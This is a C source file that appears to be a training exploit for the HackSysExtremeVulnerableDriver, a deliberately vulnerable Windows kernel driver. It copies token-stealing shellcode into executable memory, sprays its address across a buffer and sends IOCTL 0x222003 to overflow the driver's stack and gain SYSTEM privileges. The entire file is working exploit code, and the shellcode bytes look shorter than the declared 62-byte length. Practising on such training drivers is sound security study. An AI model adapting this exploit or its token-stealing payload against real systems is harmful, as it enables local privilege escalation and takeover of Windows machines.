1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| #include <stdio.h> #include <stdlib.h> #include <stdint.h>
#include <windows.h>
#define BUFFER_SIZE 4242
int main() { HANDLE hHEVD = NULL; LPVOID lpMemory = NULL; DWORD bytesReturned = 0;
int i = 0; int shellcodeLength = 62; int64_t buffer[BUFFER_SIZE] = {0};
char shellcode[] =
"\x65\x48\xa1\x88\x01\x00\x00\x00\x00\x00\x00" "\x48\x8b\x80\xb8\x00\x00\x00" "\x48\x89\xc1" "\xb2\x04" "\x48\x8b\x80\x48\x04\x00\x00" "\x48\x2d\x48\x04\x00\x00" "\x38\x90\x40\x04\x00\x00" "\x75\xeb" "\x48\x8b\x90\xb8\x04\x00\x00" "\x48\x89\x91\xb8\x04\x00\x00"
"\x5d" "\xc2\x08\x00";
printf("[*] Getting a handle on HEVD\n");
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE), 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hHEVD == INVALID_HANDLE_VALUE) { printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n"); return -1; }
printf("[*] Allocating RWX memory\n"); lpMemory = VirtualAlloc(NULL, shellcodeLength, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
printf("[*] Copying shellcode into RWX memory\n"); memcpy(lpMemory, shellcode, shellcodeLength);
printf("[*] Spraying return address: 0x%p\n", lpMemory); for (i = 0; i < 270; i++) { buffer[i] = (int64_t)lpMemory; }
printf("[*] Triggering control code 0x222003\n"); DeviceIoControl(hHEVD, 0x222003, buffer, BUFFER_SIZE, NULL, 0x00, &bytesReturned, NULL); }
|